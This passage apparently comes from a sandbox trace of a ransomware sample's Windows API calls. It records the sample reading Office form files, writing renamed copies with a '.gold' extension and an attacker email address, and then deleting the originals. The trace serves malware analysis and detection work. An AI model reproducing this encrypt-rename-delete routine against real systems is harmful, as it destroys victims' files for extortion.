Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0114.873] lstrlenW (lpString=".zip") returned 4 [0114.873] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.873] lstrlenW (lpString=".rar") returned 4 [0114.873] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.873] lstrlenW (lpString=".bz2") returned 4 [0114.873] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.873] lstrlenW (lpString=".7z") returned 3 [0114.873] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0114.873] lstrlenW (lpString=".dbf") returned 4 [0114.873] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0114.873] lstrlenW (lpString=".1cd") returned 4 [0114.873] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0114.873] lstrlenW (lpString=".jpg") returned 4 [0114.873] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0114.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0114.873] lstrlenW (lpString=".doc") returned 4 [0114.873] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.873] lstrlenW (lpString=".docx") returned 5 [0114.873] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0114.873] lstrlenW (lpString=".pdf") returned 4 [0114.873] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.873] lstrlenW (lpString=".xls") returned 4 [0114.873] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.873] lstrlenW (lpString=".xlsx") returned 5 [0114.873] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0114.873] lstrlenW (lpString=".ppt") returned 4 [0114.874] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0114.874] lstrlenW (lpString=".zip") returned 4 [0114.874] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.874] lstrlenW (lpString=".rar") returned 4 [0114.874] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.874] lstrlenW (lpString=".bz2") returned 4 [0114.874] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.874] lstrlenW (lpString=".7z") returned 3 [0114.874] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0114.874] lstrlenW (lpString=".dbf") returned 4 [0114.874] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0114.874] lstrlenW (lpString=".1cd") returned 4 [0114.874] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0114.874] lstrlenW (lpString=".jpg") returned 4 [0114.874] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.874] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0114.874] lstrlenW (lpString="OMSSMS.CFG") returned 10 [0114.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0114.875] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=603) returned 1 [0114.875] CloseHandle (hObject=0x3b4) returned 1 [0114.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg")) returned 0x20 [0114.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0114.875] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.875] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0114.876] GetLastError () returned 0x0 [0114.876] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x25b, lpOverlapped=0x0) returned 1 [0114.877] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x260, lpOverlapped=0x0) returned 1 [0114.877] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.877] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0114.877] SetEndOfFile (hFile=0x38c) returned 1 [0114.877] CloseHandle (hObject=0x38c) returned 1 [0114.878] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.878] SetEndOfFile (hFile=0x3b4) returned 1 [0114.879] CloseHandle (hObject=0x3b4) returned 1 [0114.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg")) returned 1 [0114.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0114.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0114.880] lstrlenW (lpString=".doc") returned 4 [0114.880] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.880] lstrlenW (lpString=".docx") returned 5 [0114.880] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0114.880] lstrlenW (lpString=".pdf") returned 4 [0114.880] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.880] lstrlenW (lpString=".xls") returned 4 [0114.880] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.881] lstrlenW (lpString=".xlsx") returned 5 [0114.881] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0114.881] lstrlenW (lpString=".ppt") returned 4 [0114.881] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0114.881] lstrlenW (lpString=".zip") returned 4 [0114.881] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.881] lstrlenW (lpString=".rar") returned 4 [0114.881] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.881] lstrlenW (lpString=".bz2") returned 4 [0114.881] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.881] lstrlenW (lpString=".7z") returned 3 [0114.881] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0114.881] lstrlenW (lpString=".dbf") returned 4 [0114.881] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0114.881] lstrlenW (lpString=".1cd") returned 4 [0114.881] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0114.881] lstrlenW (lpString=".jpg") returned 4 [0114.881] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0114.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0114.881] lstrlenW (lpString=".doc") returned 4 [0114.881] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.881] lstrlenW (lpString=".docx") returned 5 [0114.881] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0114.881] lstrlenW (lpString=".pdf") returned 4 [0114.881] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.881] lstrlenW (lpString=".xls") returned 4 [0114.881] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.881] lstrlenW (lpString=".xlsx") returned 5 [0114.881] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0114.881] lstrlenW (lpString=".ppt") returned 4 [0114.881] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0114.881] lstrlenW (lpString=".zip") returned 4 [0114.881] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.881] lstrlenW (lpString=".rar") returned 4 [0114.881] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.881] lstrlenW (lpString=".bz2") returned 4 [0114.881] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.881] lstrlenW (lpString=".7z") returned 3 [0114.881] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0114.881] lstrlenW (lpString=".dbf") returned 4 [0114.881] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0114.881] lstrlenW (lpString=".1cd") returned 4 [0114.881] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0114.881] lstrlenW (lpString=".jpg") returned 4 [0114.881] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.882] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.882] lstrlenW (lpString="OOFL.ICO") returned 8 [0114.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0114.882] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1078) returned 1 [0114.882] CloseHandle (hObject=0x3b4) returned 1 [0114.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico")) returned 0x20 [0114.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0114.883] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.883] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0114.883] GetLastError () returned 0x0 [0114.883] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x436, lpOverlapped=0x0) returned 1 [0114.887] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x440, lpOverlapped=0x0) returned 1 [0114.888] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.888] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0114.888] SetEndOfFile (hFile=0x38c) returned 1 [0115.026] CloseHandle (hObject=0x38c) returned 1 [0115.260] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.260] SetEndOfFile (hFile=0x3b4) returned 1 [0115.402] CloseHandle (hObject=0x3b4) returned 1 [0115.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico")) returned 1 [0115.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0115.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0115.473] lstrlenW (lpString=".doc") returned 4 [0115.473] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.473] lstrlenW (lpString=".docx") returned 5 [0115.473] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.473] lstrlenW (lpString=".pdf") returned 4 [0115.473] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.473] lstrlenW (lpString=".xls") returned 4 [0115.473] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.473] lstrlenW (lpString=".xlsx") returned 5 [0115.473] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.473] lstrlenW (lpString=".ppt") returned 4 [0115.473] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0115.473] lstrlenW (lpString=".zip") returned 4 [0115.473] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.473] lstrlenW (lpString=".rar") returned 4 [0115.473] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.473] lstrlenW (lpString=".bz2") returned 4 [0115.474] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.474] lstrlenW (lpString=".7z") returned 3 [0115.474] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0115.474] lstrlenW (lpString=".dbf") returned 4 [0115.474] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0115.474] lstrlenW (lpString=".1cd") returned 4 [0115.474] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0115.474] lstrlenW (lpString=".jpg") returned 4 [0115.474] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0115.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0115.474] lstrlenW (lpString=".doc") returned 4 [0115.474] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.474] lstrlenW (lpString=".docx") returned 5 [0115.474] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.474] lstrlenW (lpString=".pdf") returned 4 [0115.474] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.474] lstrlenW (lpString=".xls") returned 4 [0115.474] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.474] lstrlenW (lpString=".xlsx") returned 5 [0115.474] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.474] lstrlenW (lpString=".ppt") returned 4 [0115.474] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0115.474] lstrlenW (lpString=".zip") returned 4 [0115.474] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.474] lstrlenW (lpString=".rar") returned 4 [0115.474] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.474] lstrlenW (lpString=".bz2") returned 4 [0115.474] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.474] lstrlenW (lpString=".7z") returned 3 [0115.474] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0115.474] lstrlenW (lpString=".dbf") returned 4 [0115.474] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0115.474] lstrlenW (lpString=".1cd") returned 4 [0115.474] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0115.474] lstrlenW (lpString=".jpg") returned 4 [0115.474] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.474] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.474] lstrlenW (lpString="REC.CFG") returned 7 [0115.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.477] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1617) returned 1 [0115.477] CloseHandle (hObject=0x230) returned 1 [0115.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg")) returned 0x20 [0115.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0115.510] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.510] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0115.511] GetLastError () returned 0x0 [0115.511] ReadFile (in: hFile=0x3f8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x651, lpOverlapped=0x0) returned 1 [0115.520] WriteFile (in: hFile=0x3d4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x660, lpOverlapped=0x0) returned 1 [0115.521] ReadFile (in: hFile=0x3f8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.521] WriteFile (in: hFile=0x3d4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0115.521] SetEndOfFile (hFile=0x3d4) returned 1 [0115.521] CloseHandle (hObject=0x3d4) returned 1 [0115.521] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.521] SetEndOfFile (hFile=0x3f8) returned 1 [0115.524] CloseHandle (hObject=0x3f8) returned 1 [0115.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg")) returned 1 [0115.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0115.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0115.528] lstrlenW (lpString=".doc") returned 4 [0115.528] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.528] lstrlenW (lpString=".docx") returned 5 [0115.528] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0115.528] lstrlenW (lpString=".pdf") returned 4 [0115.528] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.528] lstrlenW (lpString=".xls") returned 4 [0115.529] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.529] lstrlenW (lpString=".xlsx") returned 5 [0115.529] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0115.529] lstrlenW (lpString=".ppt") returned 4 [0115.529] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0115.529] lstrlenW (lpString=".zip") returned 4 [0115.529] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.529] lstrlenW (lpString=".rar") returned 4 [0115.529] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.529] lstrlenW (lpString=".bz2") returned 4 [0115.529] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.529] lstrlenW (lpString=".7z") returned 3 [0115.529] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0115.529] lstrlenW (lpString=".dbf") returned 4 [0115.529] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.529] lstrlenW 